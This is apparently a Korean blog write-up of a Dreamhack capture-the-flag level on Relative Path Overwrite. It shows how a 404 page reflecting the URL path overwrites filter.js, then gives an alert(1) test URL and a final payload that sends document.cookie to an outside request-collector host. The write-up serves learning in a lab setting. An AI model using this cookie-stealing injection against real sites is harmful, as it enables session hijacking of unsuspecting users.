CTF & Wargame(WEB)

level 2 Relative Path Overwrite Advanced

KWAKBUMJUN 2025. 4. 21. 07:58
index.php, vuln.php, main.php, report.php 등 거의 모든 코드들이 이전 문제와 유사하다.

하지만 이 문제의 차이점은 404.php 파일과 filter.js가 static 폴더에 저장된다는 점이다.

 

이렇게 vuln 페이지에 접속하면 404.php에 의해 /filter.js not found라는 문구가 출력되는 것을 볼 수 있다. 따라서 현재 vuln 페이지에서 filter.js의 경로를 /filter.js로 지정하고 있기 때문에 filter.js가 vuln페이지에서 불러와지지 않는 것이다. 이에 따라 404.php가 로드되어 filter.js가 덮어씌워졌다.

 

따라서 우리는 404.php를 이용해 filter.js를 덮어쓸 것이다.

url에 /를 하나만 더 추가해주면 filter.js를 주석처리 해줄수 있다.

이렇게 filter.js를 수정할수 있다면 여기에 js 페이로드를 삽입하여 이용자의 쿠키를 탈취할수 있을 것이다.

 

http://host3.dreamhack.games:10215/index.php/;alert(1);//?page=vuln&param=dreamhack

이렇게 입력하면 

/index.php/;alert(1);//filter.js not found.

이렇게 작성되어 alert(1)이 실행된다.

 

http://index.php/;location.href='https://xxzilyz.request.dreamhack.games/'+document.cookie;//?page=vuln&param=dreamhack

최종적으로 위와 같이 입력하면 flag를 획득할수 있다.

 

'CTF & Wargame(WEB)' 카테고리의 다른 글

level 2 DOM XSS  (0) 2025.04.22
level 3 XS-Search  (0) 2025.04.22
RPO(Relative Path Overwrite) 이해하기  (0) 2025.04.21
level 2 Relative Path Overwrite  (1) 2025.04.18
level 3 CSS Injection  (0) 2025.04.18